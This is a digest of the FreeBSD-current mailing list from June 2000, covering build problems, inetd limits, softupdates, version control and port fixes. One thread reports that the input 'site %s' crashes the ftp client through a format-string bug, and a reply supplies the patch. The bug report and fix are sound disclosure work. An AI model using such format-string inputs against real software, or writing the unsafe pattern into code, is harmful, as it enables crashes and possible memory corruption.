grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id IAA07221; Fri, 23 Jun 2000 08:36:32 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006230636.IAA07221@grimreaper.grondar.za> To: Jun Kuriyama Cc: Current Subject: Re: Missing openssl/idea.h? References: <7mzooeiew7.wl@waterblue.imgsrc.co.jp> In-Reply-To: <7mzooeiew7.wl@waterblue.imgsrc.co.jp> ; from Jun Kuriyama "Thu, 22 Jun 2000 12:16:40 +0900." Date: Fri, 23 Jun 2000 08:36:32 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Building world failed on my machine... (with USA_RESIDENT=NO) > > Does IDEA stuff compiled by default? I messed this up. Fix coming. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 0:23:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 2CC5137B8AC for ; Fri, 23 Jun 2000 00:23:17 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p19-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.148]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id QAA03405; Fri, 23 Jun 2000 16:23:11 +0900 (JST) Message-ID: <3953063D.6EA9E2A5@newsguy.com> Date: Fri, 23 Jun 2000 15:39:57 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: clefevre@citeweb.net Cc: current@FreeBSD.ORG Subject: Re: kernel config format migration script References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Cyrille Lefevre wrote: > > well, at 4.x, FreeBSD sed doesn't support -E, is that GNU sed which support > this option or 5.x FreeBSD sed ? for instance, GNU sed port doesn't exists ! Really? Funny. I'm not sure our sed is GNU sed. IIRC, it uses regex(3) instead of gnuregex. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org Windows works, for sufficently small values of "works". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 0:31: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id AD97D37B8B6 for ; Fri, 23 Jun 2000 00:30:57 -0700 (PDT) (envelope-from bsdx@looksharp.net) Received: from localhost (bsdx@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id DAA44341; Fri, 23 Jun 2000 03:30:42 -0400 (EDT) (envelope-from bsdx@looksharp.net) Date: Fri, 23 Jun 2000 03:30:42 -0400 (EDT) From: Adam To: Chuck Robey Cc: current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 21 Jun 2000, Chuck Robey wrote: >On Wed, 21 Jun 2000, Mark Murray wrote: > >> > Has anyone given any thought to what it would take to create an >> > open source version of something similar to perforce? ;-) >> >> Clearly you have. :-). We await your submissions with baited breath... > >I have mixed feelings about that. The Perforce people have been willing >for FreeBSD to use it free. They're really nice about that, it seems more >than a bit discourteous to try to copy it. If you'd asked to duplicate But I thought Imitation was the highest form of flattery :) >MSWord, they're a unethical monopolist, I wouldn't have any scruples >attacking them, but I don't like attacking folks who've been displaying >towards free software such a friendly attitude. > >Makes me (and I sure support free software!) feel like a predator when you >go after folks who've been doing good. > >I think, if you want it fixed, you should go fix cvs. > >---------------------------------------------------------------------------- >Chuck Robey | Interests include C & Java programming, FreeBSD, >chuckr@picnic.mat.net | electronics, communications, and signal processing. > >New Year's Resolution: I will not sphroxify gullible people into looking up >fictitious words in the dictionary. >---------------------------------------------------------------------------- > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 0:35:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 6757937B838 for ; Fri, 23 Jun 2000 00:35:14 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135NzO-000DIJ-00; Fri, 23 Jun 2000 09:34:58 +0200 From: Sheldon Hearn To: Alexander Langer Cc: current@FreeBSD.ORG Subject: Re: inetd with -R -1 patch? In-reply-to: Your message of "Thu, 08 Jun 2000 12:37:00 +0200." <20000608123700.A22155@cichlids.cichlids.com> Date: Fri, 23 Jun 2000 09:34:58 +0200 Message-ID: <51106.961745698@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 08 Jun 2000 12:37:00 +0200, Alexander Langer wrote: > What about that patch to let one use unlimited numbers of connections? > The standard is still 256, but if one really wants that... Personally, I'd prefer it if zero implied an unlimited number of invokations per service per minute. However, the special case isn't really necessary, since you can simply specify some large number (and then prepare to have your box dragged under). :-) Ciao, Sheldon. PS: Did you test the patch you sent? :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 0:53: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns1.sunesi.net (ns1.sunesi.net [196.15.192.194]) by hub.freebsd.org (Postfix) with ESMTP id 1BA0637B8B6 for ; Fri, 23 Jun 2000 00:53:00 -0700 (PDT) (envelope-from nbm@sunesi.net) Received: from nbm by ns1.sunesi.net with local (Exim 3.03 #1) id 135OGT-0004Ys-00; Fri, 23 Jun 2000 09:52:37 +0200 Date: Fri, 23 Jun 2000 09:52:37 +0200 From: Neil Blakey-Milner To: Kent Hauser Cc: current@freebsd.org Subject: Re: building stable from current Message-ID: <20000623095237.A17459@mithrandr.moria.org> References: <200006230212.WAA21836@chapel-hill.tfd.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200006230212.WAA21836@chapel-hill.tfd.com>; from kent@tfd.com on Thu, Jun 22, 2000 at 10:12:28PM -0400 Organization: Sunesi Clinical Systems X-Operating-System: FreeBSD 3.3-RELEASE i386 X-URL: http://rucus.ru.ac.za/~nbm/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu 2000-06-22 (22:12), Kent Hauser wrote: > For the last while (several months), whenever I try to build > a RELENG_4 release from my -current box, it fails building gcc. > > As -current is supposed to be "fluid" for the next several months, > I wanted to make a set of -current and -stable CDs now. > > The current build was fine. To build stable I did the following: > > # cd /usr; rm -rf src.stable;mkdir src.stable > # rm -rf /usr/obj/usr/src.stable > # su kent > % cd src.stable > % cvs -R -d /home/ncvs co -r RELENG_4 src > % cd src.stable; mv src/* .;rmdir src > % make buildworld >& build.log > > and it blew up linking cc1plus. > > I built -stable as me so as to be sure no system files > were touched. But I'm also confused as I thought > "buildworld" was self-contained -- as long as a reasonably > current make was available to jump-start the process. > > Thoughts & corrections greatly welcomed. Can you send the last 50 or so lines of build.log? Neil -- Neil Blakey-Milner Sunesi Clinical Systems nbm@mithrandr.moria.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 0:55:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.plaut.de (ns.plaut.de [194.99.75.166]) by hub.freebsd.org (Postfix) with ESMTP id B078D37B8B6 for ; Fri, 23 Jun 2000 00:55:25 -0700 (PDT) (envelope-from root@nihil.plaut.de) Received: (from uucp@localhost) by ns.plaut.de (8.9.3/8.9.3) with UUCP id JAA74675; Fri, 23 Jun 2000 09:54:44 +0200 (CEST) (envelope-from root@nihil.plaut.de) Received: from localhost (root@localhost) by nihil.plaut.de (8.9.3/8.8.8) with ESMTP id JAA00783; Fri, 23 Jun 2000 09:54:25 +0200 (CEST) (envelope-from root@nihil.plaut.de) Date: Fri, 23 Jun 2000 09:54:25 +0200 (CEST) From: Michael Reifenberger To: Peter Jeremy Cc: Chris Dillon , FreeBSD-Current Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c In-Reply-To: <00Jun23.075254est.115312@border.alcanet.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000, Peter Jeremy wrote: ... > This has bitten a number of people who have turned softupdates on for > their root filesystems - and had installworld die. > There is a workaround for this: Before running installworld start a shellscript in background with: while true; do; sync; sleep 2; done; this prevents my root from filling up. Bye! ---- Michael Reifenberger ^.*Plaut.*$, IT, R/3 Basis, GPS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 1:34:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id D0E5337B64A for ; Fri, 23 Jun 2000 01:34:30 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9C112A.dip0.t-ipconnect.de [62.156.17.42]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id KAA18442; Fri, 23 Jun 2000 10:33:55 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 3FFB0AC27; Fri, 23 Jun 2000 10:34:37 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id BFEE714AB2; Fri, 23 Jun 2000 10:34:26 +0200 (CEST) Date: Fri, 23 Jun 2000 10:34:26 +0200 From: Alexander Langer To: Sheldon Hearn Cc: current@FreeBSD.ORG Subject: Re: inetd with -R -1 patch? Message-ID: <20000623103426.B2230@cichlids.cichlids.com> Mail-Followup-To: Sheldon Hearn , current@FreeBSD.ORG References: <20000608123700.A22155@cichlids.cichlids.com> <51106.961745698@axl.ops.uunet.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <51106.961745698@axl.ops.uunet.co.za>; from sheldonh@uunet.co.za on Fri, Jun 23, 2000 at 09:34:58AM +0200 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-PGP-at: finger alex@big.endian.de X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Sheldon Hearn (sheldonh@uunet.co.za): > Personally, I'd prefer it if zero implied an unlimited number of Yes. Fine, too. > invokations per service per minute. However, the special case isn't > really necessary, since you can simply specify some large number (and > then prepare to have your box dragged under). :-) Heh. That counts for every piece of software where you can set "unlimited" > PS: Did you test the patch you sent? :-) Yes. root:~ $ netstat -a | grep localhost.telnet | wc -l 864 (I wasn't able to stress the system more :) However, as I just saw, the -R -1 does not work (I tested it with -DTOOMANY=-1). So -R 0 for unlimited is better (because of strtol). Alex -- cat: /home/alex/.sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 1:46:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from assaris.sics.se (assaris.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id 09D9B37C0DD; Fri, 23 Jun 2000 01:46:06 -0700 (PDT) (envelope-from assar@assaris.sics.se) Received: (from assar@localhost) by assaris.sics.se (8.9.3/8.9.3) id KAA76327; Fri, 23 Jun 2000 10:32:53 +0200 (CEST) (envelope-from assar) To: Peter Wemm Cc: Adrian Chadd , Julian Elischer , Anders Andersson , cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c References: <20000622234300.2BB821CD7@overcee.netplex.com.au> From: Assar Westerlund Date: 23 Jun 2000 10:32:53 +0200 In-Reply-To: Peter Wemm's message of "Thu, 22 Jun 2000 16:43:00 -0700" Message-ID: <5l3dm4yeyy.fsf@assaris.sics.se> Lines: 8 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Wemm writes: > For the NetBSD version to work, what needs to happen is that the -osoftdep > flag needs to be propagated to the superblock so that after reboot, fsck > knows what to do. When it is next mounted, then update it to the new state. From what I can tell from a quick look at the code, it does this. /assar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 4: 2:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 92FA837C31E; Fri, 23 Jun 2000 04:02:44 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 135REN-0006iI-00; Fri, 23 Jun 2000 13:02:39 +0200 Received: from [213.6.50.74] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 135REM-0002N1-00; Fri, 23 Jun 2000 13:02:39 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id MAA43538; Fri, 23 Jun 2000 12:39:14 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006231039.MAA43538@Magelan.Leidinger.net> Date: Fri, 23 Jun 2000 12:39:12 +0200 (CEST) From: Alexander Leidinger Subject: daily/420.status-network rev 1.4 To: brian@freebsd.org Cc: current@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, ---snip--- Index: 420.status-network =================================================================== RCS file: /big/FreeBSD-CVS/src/etc/periodic/daily/420.status-network,v retrieving revision 1.4 diff -u -r1.4 420.status-network --- 420.status-network 2000/06/23 01:18:23 1.4 +++ 420.status-network 2000/06/23 10:35:41 @@ -18,7 +18,7 @@ echo "" echo "Network interface status:" - case "$daily_status_network_enable" in + case "$daily_status_network_usedns" in [Yy][Ee][Ss]) netstat -i;; *) ---snip--- seems to be the intended version. Bye, Alexander. -- It is easier to fix Unix than to live with NT. http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 4:12:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 5EE8437C159; Fri, 23 Jun 2000 04:12:46 -0700 (PDT) (envelope-from sobomax@FreeBSD.org) Received: from vic.sabbo.net (vic.sabbo.net [193.193.218.106]) by blizzard.sabbo.net (8.9.1/8.9.3) with ESMTP id OAA21204; Fri, 23 Jun 2000 14:10:58 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.9.3/8.9.3) with ESMTP id OAA56896; Fri, 23 Jun 2000 14:11:47 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <395345ED.21CF4B02@FreeBSD.org> Date: Fri, 23 Jun 2000 14:11:41 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.73 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: current@FreeBSD.org Cc: multimedia@FreeBSD.org, dfr@nlsystems.com Subject: AGPGART for FreeBSD Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've just found that somebody ported linux agpgart module (used by the GXL) to FreeBSD. Could someone take a look at it and tell me whether it have a chances to be imported into base system or I should create a port of it. http://utah-glx.sourceforge.net/gart/agpgart-freebsd-20000619.tar.gz Thanks! -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 4:16: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id 5584537B7C5 for ; Fri, 23 Jun 2000 04:16:06 -0700 (PDT) (envelope-from van.woerkom@netcologne.de) Received: from oranje.my.domain (dial-195-14-250-90.netcologne.de [195.14.250.90]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id NAA06676; Fri, 23 Jun 2000 13:15:46 +0200 (MET DST) Received: (from marc@localhost) by oranje.my.domain (8.9.3/8.9.3) id NAA05779; Fri, 23 Jun 2000 13:14:48 +0200 (CEST) (envelope-from van.woerkom@netcologne.de) Date: Fri, 23 Jun 2000 13:14:48 +0200 (CEST) Message-Id: <200006231114.NAA05779@oranje.my.domain> X-Authentication-Warning: oranje.my.domain: marc set sender to van.woerkom@netcologne.de using -f From: Marc van Woerkom To: sos@freebsd.dk Cc: current@FreeBSD.ORG In-reply-to: <200006211934.VAA31186@freebsd.dk> (message from Soren Schmidt on Wed, 21 Jun 2000 21:34:51 +0200 (CEST)) Subject: Re: HEADS UP: Destabilization due to SMP development Reply-To: van.woerkom@netcologne.de References: <200006211934.VAA31186@freebsd.dk> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Using a non opensource commercial version control system is just > to ask for bad carma, extended murphy fields and whatnot in an > opensource volounteer project... I would like to understand the discussed weakness of cvs regarding branches. Could someone explain it (in private) or point me to a link? I ask because I had to work a lot with MKS SI (RCS based) and it was OK to manage different branches with it. So I assumed cvs as a kind of successor to rcs is able to do this too. Or do people just like an improved architecture? I understand that systems like Perforce are handling diffs to the code base not file orientated but rather goal orientated which might give a much better overview. Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 4:33:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from hole.etrust.ru (sweet.etrust.ru [194.84.67.5]) by hub.freebsd.org (Postfix) with ESMTP id 8BEFA37B9BD; Fri, 23 Jun 2000 04:33:26 -0700 (PDT) (envelope-from osa@hole.etrust.ru) Received: (from osa@localhost) by hole.etrust.ru (8.9.3/8.9.3) id PAA23195; Fri, 23 Jun 2000 15:31:04 +0400 (MSD) (envelope-from osa) Date: Fri, 23 Jun 2000 15:31:04 +0400 From: "Sergey A. Osokin" To: current@FreeBSD.org Cc: hackers@FreeBSD.org Subject: Problem with normal exit all threads of task... Message-ID: <20000623153103.B22710@freebsd.org.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello! I have a problem with normal exit all threads of task by signal... At Linux, as i know, all threads of task receive a signal, but under FreeBSD only one. Any idea? -- Rgdz, Sergey Osokin aka oZZ, osa@freebsd.org.ru http://www.freebsd.org.ru/~osa/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 5: 9: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from xkis.kis.ru (xkis.kis.ru [195.98.32.200]) by hub.freebsd.org (Postfix) with ESMTP id 9A04337B5A8 for ; Fri, 23 Jun 2000 05:08:59 -0700 (PDT) (envelope-from dv@dv.ru) Received: from localhost (dv@localhost) by xkis.kis.ru (8.9.3/8.9.3) with SMTP id QAA14509 for ; Fri, 23 Jun 2000 16:08:56 +0400 (MSD) Date: Fri, 23 Jun 2000 16:08:55 +0400 (MSD) From: Dmitry Valdov X-Sender: dv@xkis.kis.ru To: current@freebsd.org Subject: ftp client bug Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! There is a problem in ftp client in all FreeBSD versions. It isn't dangerous but probably should be fixed. > uname -a FreeBSD work.dv.ru 5.0-CURRENT FreeBSD 5.0-CURRENT #6: Thu Jun 22 19:41:50 MSD 2000 root@work.dv.ru:/usr/src/sys/compile/WORK i386 > ftp localhost Connected to localhost. 220 work.dv.ru FTP server (Version 6.00LS) ready. Name (localhost:dv): 331 Password required for dv. Password: 230 User dv logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> site %s Segmentation fault (core dumped) > Dmitry. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 5:35:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id AAFB237BA0C; Fri, 23 Jun 2000 05:35:35 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (hak.nat.Awfulhak.org [172.31.0.12]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id NAA60213; Fri, 23 Jun 2000 13:35:12 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id NAA20756; Fri, 23 Jun 2000 13:35:06 +0100 (BST) (envelope-from brian@Awfulhak.org) Message-Id: <200006231235.NAA20756@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Alexander Leidinger Cc: brian@freebsd.org, current@freebsd.org, brian@hak.lan.Awfulhak.org Subject: Re: daily/420.status-network rev 1.4 In-Reply-To: Message from Alexander Leidinger of "Fri, 23 Jun 2000 12:39:12 +0200." <200006231039.MAA43538@Magelan.Leidinger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 23 Jun 2000 13:35:06 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi, Oops - committed - thanks ! > ---snip--- > Index: 420.status-network > =================================================================== > RCS file: /big/FreeBSD-CVS/src/etc/periodic/daily/420.status-network,v > retrieving revision 1.4 > diff -u -r1.4 420.status-network > --- 420.status-network 2000/06/23 01:18:23 1.4 > +++ 420.status-network 2000/06/23 10:35:41 > @@ -18,7 +18,7 @@ > echo "" > echo "Network interface status:" > > - case "$daily_status_network_enable" in > + case "$daily_status_network_usedns" in > [Yy][Ee][Ss]) > netstat -i;; > *) > ---snip--- > > seems to be the intended version. > > Bye, > Alexander. > > -- > It is easier to fix Unix than to live with NT. > > http://www.Leidinger.net Alexander+Home @ Leidinger.net > GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E > > -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 6:20:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 5AEB237B9C7 for ; Fri, 23 Jun 2000 06:20:20 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135TND-000P0j-00; Fri, 23 Jun 2000 15:19:55 +0200 From: Sheldon Hearn To: Donn Miller Cc: Wes Morgan , current@FreeBSD.ORG Subject: Re: -current kernel broken? In-reply-to: Your message of "Fri, 16 Jun 2000 20:34:06 -0400." <394AC77E.88FB7D90@cvzoom.net> Date: Fri, 23 Jun 2000 15:19:55 +0200 Message-ID: <96144.961766395@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Jun 2000 20:34:06 -0400, Donn Miller wrote: > I saw this as well. It turns out the optimizations I was using when > building my kernel was causing it. I was using -march=pentium -Os > -pipe. Falling back to -O -pipe solved this. Clearly, the new warning about optimization in make.conf is not enough. We need to burn a huge fiery warning into the console as the kernel loads up that warns about the "non-standard" optimization with which it was compiled. Were you seeing the copyright notice? :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 6:23:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id C4D1A37B9F2 for ; Fri, 23 Jun 2000 06:18:45 -0700 (PDT) (envelope-from fjoe@iclub.nsu.ru) Received: from localhost (fjoe@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id UAA33937; Fri, 23 Jun 2000 20:15:33 +0700 (NSS) (envelope-from fjoe@iclub.nsu.ru) Date: Fri, 23 Jun 2000 20:15:33 +0700 (NSS) From: Max Khon To: Dmitry Valdov Cc: current@FreeBSD.ORG Subject: Re: ftp client bug In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, there! On Fri, 23 Jun 2000, Dmitry Valdov wrote: > There is a problem in ftp client in all FreeBSD versions. It isn't dangerous > but probably should be fixed. > > > uname -a > FreeBSD work.dv.ru 5.0-CURRENT FreeBSD 5.0-CURRENT #6: Thu Jun 22 19:41:50 > MSD 2000 root@work.dv.ru:/usr/src/sys/compile/WORK i386 > > ftp localhost > Connected to localhost. > 220 work.dv.ru FTP server (Version 6.00LS) ready. > Name (localhost:dv): > 331 Password required for dv. > Password: > 230 User dv logged in. > Remote system type is UNIX. > Using binary mode to transfer files. > ftp> site %s > Segmentation fault (core dumped) > > that's easy: --- cmds.c.orig Fri Jun 23 20:12:24 2000 +++ cmds.c Fri Jun 23 19:58:19 2000 @@ -1461,7 +1461,7 @@ len += len1; } } - if (command(buf) == PRELIM) { + if (command("%s", buf) == PRELIM) { while (getreply(0) == PRELIM) continue; } /fjoe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7: 7: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from lola.heim10.tu-clausthal.de (lola.heim10.tu-clausthal.de [139.174.241.25]) by hub.freebsd.org (Postfix) with ESMTP id 5DF1637B867; Fri, 23 Jun 2000 07:07:00 -0700 (PDT) (envelope-from norbert.irmer@heim9.tu-clausthal.de) Received: from heim9.tu-clausthal.de (localhost.heim10.tu-clausthal.de [127.0.0.1]) by lola.heim10.tu-clausthal.de (8.9.3/8.9.3) with ESMTP id QAA06276; Fri, 23 Jun 2000 16:06:56 +0200 (CEST) (envelope-from norbert.irmer@heim9.tu-clausthal.de) Message-ID: <39536EFF.215A7623@heim9.tu-clausthal.de> Date: Fri, 23 Jun 2000 16:06:55 +0200 From: Norbert Irmer X-Mailer: Mozilla 4.72 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: nectar@FreeBSD.ORG, current@FreeBSD.ORG Subject: Problems building ports/x11-toolkits/wxGTK Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I tried to build the wxGTK-2.1.16 port, and noticed that a few AC_CHECK(..) macros in the configure script don't work. The first header file which is not found is because on FreeBSD systems there is no link /usr/include/X11 -> /usr/X11R6/include (shouldn't there be such a link ? - i heard this is a standard) The opengl header file is also not found, and the link test with "libGL" or "libMesaGL" fails too. And shouldn't there be a line in the Makefile of the port which shows how to compile wxGTK with opengl support ? (it took me an hour to find out how to do this!) So i would propose to make the following changes to the ports Makefile: CONFIGURE_ENV= GTK_CONFIG="${X11BASE}/bin/gtk12-config"\ CCFLAGS="-I/usr/X11R6/include"\ LDFLAGS="-L/usr/X11R6/lib" CONFIGURE_ARGS= "--with-opengl=yes" -- email: norbert.irmer@heim9.tu-clausthal.de web: http://gul.sourceforge.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 7:32: 4 2000 